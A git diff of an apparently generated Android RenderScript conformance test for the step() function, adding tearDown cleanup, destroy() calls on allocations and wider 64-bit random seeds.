index 55d6bbb..88fb9d9 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestStep.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestStepRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inEdge;
         public float inV;
@@ -44,13 +51,14 @@
     }
 
     private void checkStepFloatFloatFloat() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9184fbfel, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x832f44e9l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x598900c49184fbfel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9aefccaa832f44e9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloatFloatFloat(inEdge, out);
             verifyResultsStepFloatFloatFloat(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloatFloatFloat(inEdge, out);
             verifyResultsStepFloatFloatFloat(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloatFloat: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloatFloatFloat(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkStepFloat2Float2Float2() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7df69504l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8567f58bl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6efefa297df69504l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x12eb000b8567f58bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloat2Float2Float2(inEdge, out);
             verifyResultsStepFloat2Float2Float2(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloat2Float2Float2(inEdge, out);
             verifyResultsStepFloat2Float2Float2(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat2Float2Float2: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloat2Float2Float2(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkStepFloat3Float3Float3() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x666a7a77l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8745f72cl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9e548cd666a7a77l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x674fde2b8745f72cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloat3Float3Float3(inEdge, out);
             verifyResultsStepFloat3Float3Float3(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloat3Float3Float3(inEdge, out);
             verifyResultsStepFloat3Float3Float3(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat3Float3Float3: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloat3Float3Float3(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkStepFloat4Float4Float4() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4ede5feal, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8923f8cdl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xa4cb97714ede5feal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xbbb4bc4b8923f8cdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloat4Float4Float4(inEdge, out);
             verifyResultsStepFloat4Float4Float4(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloat4Float4Float4(inEdge, out);
             verifyResultsStepFloat4Float4Float4(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat4Float4Float4: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloat4Float4Float4(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkStepHalfHalfHalf() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe2c3f577l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3240702cl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5b86b69ee2c3f577l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xba03c0b83240702cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalfHalfHalf(inEdge, out);
             verifyResultsStepHalfHalfHalf(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalfHalfHalf(inEdge, out);
             verifyResultsStepHalfHalfHalf(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalfHalf: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalfHalfHalf(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkStepHalf2Half2Half2() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xee08afadl, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xba1588del, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x670e5805ee08afadl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x6a600ec7ba1588del, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalf2Half2Half2(inEdge, out);
             verifyResultsStepHalf2Half2Half2(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalf2Half2Half2(inEdge, out);
             verifyResultsStepHalf2Half2Half2(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf2Half2Half2: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalf2Half2Half2(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkStepHalf3Half3Half3() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe1ba008al, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x18b499adl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa098639be1ba008al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x90148eb118b499adl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalf3Half3Half3(inEdge, out);
             verifyResultsStepHalf3Half3Half3(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalf3Half3Half3(inEdge, out);
             verifyResultsStepHalf3Half3Half3(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf3Half3Half3: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalf3Half3Half3(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkStepHalf4Half4Half4() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd56b5167l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7753aa7cl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xda226f31d56b5167l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb5c90e9a7753aa7cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalf4Half4Half4(inEdge, out);
             verifyResultsStepHalf4Half4Half4(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalf4Half4Half4(inEdge, out);
             verifyResultsStepHalf4Half4Half4(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf4Half4Half4: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalf4Half4Half4(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -704,13 +743,14 @@
     }
 
     private void checkStepFloat2FloatFloat2() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x5b3d8b26l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb6d48a21l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb0ac06c45b3d8b26l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xfa7d66f2b6d48a21l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloat2FloatFloat2(inEdge, out);
             verifyResultsStepFloat2FloatFloat2(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat2FloatFloat2: " + e.toString());
         }
@@ -719,9 +759,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloat2FloatFloat2(inEdge, out);
             verifyResultsStepFloat2FloatFloat2(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat2FloatFloat2: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloat2FloatFloat2(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -783,13 +826,14 @@
     }
 
     private void checkStepFloat3FloatFloat3() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc68f43fal, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa53f7e7dl, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x304ed837c68f43fal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4fcd1a0aa53f7e7dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloat3FloatFloat3(inEdge, out);
             verifyResultsStepFloat3FloatFloat3(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat3FloatFloat3: " + e.toString());
         }
@@ -798,9 +842,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloat3FloatFloat3(inEdge, out);
             verifyResultsStepFloat3FloatFloat3(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat3FloatFloat3: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloat3FloatFloat3(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -862,13 +909,14 @@
     }
 
     private void checkStepFloat4FloatFloat4() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x31e0fccel, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x93aa72d9l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xaff1a9ab31e0fccel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa51ccd2293aa72d9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloat4FloatFloat4(inEdge, out);
             verifyResultsStepFloat4FloatFloat4(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat4FloatFloat4: " + e.toString());
         }
@@ -877,9 +925,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloat4FloatFloat4(inEdge, out);
             verifyResultsStepFloat4FloatFloat4(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloat4FloatFloat4: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloat4FloatFloat4(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -941,13 +992,14 @@
     }
 
     private void checkStepHalf2HalfHalf2() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2f4438d3l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2d7ce0l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5690fcfb2f4438d3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x974fa6ac002d7ce0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalf2HalfHalf2(inEdge, out);
             verifyResultsStepHalf2HalfHalf2(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf2HalfHalf2: " + e.toString());
         }
@@ -956,9 +1008,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalf2HalfHalf2(inEdge, out);
             verifyResultsStepHalf2HalfHalf2(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf2HalfHalf2: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalf2HalfHalf2(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1025,13 +1080,14 @@
     }
 
     private void checkStepHalf3HalfHalf3() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb3cf71ffl, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb2c70e84l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xaaf41201b3cf71ffl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc1dcc72ab2c70e84l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalf3HalfHalf3(inEdge, out);
             verifyResultsStepHalf3HalfHalf3(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf3HalfHalf3: " + e.toString());
         }
@@ -1040,9 +1096,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalf3HalfHalf3(inEdge, out);
             verifyResultsStepHalf3HalfHalf3(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf3HalfHalf3: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalf3HalfHalf3(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1109,13 +1168,14 @@
     }
 
     private void checkStepHalf4HalfHalf4() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x385aab2bl, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x6560a028l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xff572708385aab2bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xec69e7a96560a028l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalf4HalfHalf4(inEdge, out);
             verifyResultsStepHalf4HalfHalf4(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf4HalfHalf4: " + e.toString());
         }
@@ -1124,9 +1184,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalf4HalfHalf4(inEdge, out);
             verifyResultsStepHalf4HalfHalf4(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalf4HalfHalf4: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalf4HalfHalf4(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1193,13 +1256,14 @@
     }
 
     private void checkStepFloatFloat2Float2() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x664b1852l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x44e2f7c5l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x70a0554e664b1852l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xdd7f0d444e2f7c5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloatFloat2Float2(inEdge, out);
             verifyResultsStepFloatFloat2Float2(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloat2Float2: " + e.toString());
         }
@@ -1208,9 +1272,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloatFloat2Float2(inEdge, out);
             verifyResultsStepFloatFloat2Float2(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloat2Float2: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloatFloat2Float2(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1272,13 +1339,14 @@
     }
 
     private void checkStepFloatFloat3Float3() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x91abcbccl, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3afe18a3l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9b2d75ce91abcbccl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdd9b9ef3afe18a3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloatFloat3Float3(inEdge, out);
             verifyResultsStepFloatFloat3Float3(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloat3Float3: " + e.toString());
         }
@@ -1287,9 +1355,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloatFloat3Float3(inEdge, out);
             verifyResultsStepFloatFloat3Float3(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloat3Float3: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloatFloat3Float3(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1351,13 +1422,14 @@
     }
 
     private void checkStepFloatFloat4Float4() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbd0c7f46l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x31193981l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc5ba964ebd0c7f46l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xddb830a31193981l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepFloatFloat4Float4(inEdge, out);
             verifyResultsStepFloatFloat4Float4(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloat4Float4: " + e.toString());
         }
@@ -1366,9 +1438,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepFloatFloat4Float4(inEdge, out);
             verifyResultsStepFloatFloat4Float4(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepFloatFloat4Float4: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepFloatFloat4Float4(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1430,13 +1505,14 @@
     }
 
     private void checkStepHalfHalf2Half2() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x915e1ddl, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9aa13beel, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xecb0cdca0915e1ddl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x851a02469aa13beel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalfHalf2Half2(inEdge, out);
             verifyResultsStepHalfHalf2Half2(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalf2Half2: " + e.toString());
         }
@@ -1445,9 +1521,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalfHalf2Half2(inEdge, out);
             verifyResultsStepHalfHalf2Half2(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalf2Half2: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalfHalf2Half2(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1514,13 +1593,14 @@
     }
 
     private void checkStepHalfHalf3Half3() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x30b71f9l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf9a900e2l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf9965187030b71f9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x851a0ce7f9a900e2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalfHalf3Half3(inEdge, out);
             verifyResultsStepHalfHalf3Half3(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalf3Half3: " + e.toString());
         }
@@ -1529,9 +1609,12 @@
             scriptRelaxed.set_gAllocInV(inV);
             scriptRelaxed.forEach_testStepHalfHalf3Half3(inEdge, out);
             verifyResultsStepHalfHalf3Half3(inEdge, inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalf3Half3: " + e.toString());
         }
+        inEdge.destroy();
+        inV.destroy();
     }
 
     private void verifyResultsStepHalfHalf3Half3(Allocation inEdge, Allocation inV, Allocation out, boolean relaxed) {
@@ -1598,13 +1681,14 @@
     }
 
     private void checkStepHalfHalf4Half4() {
-        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xfd010215l, false);
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x58b0c5d6l, false);
+        Allocation inEdge = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x67bd543fd010215l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x851a178958b0c5d6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInV(inV);
             script.forEach_testStepHalfHalf4Half4(inEdge, out);
             verifyResultsStepHalfHalf4Half4(inEdge, inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testStepHalfHalf4Half4: " + e.toString());
         }
@@ -1613,9 +1697,12 @@
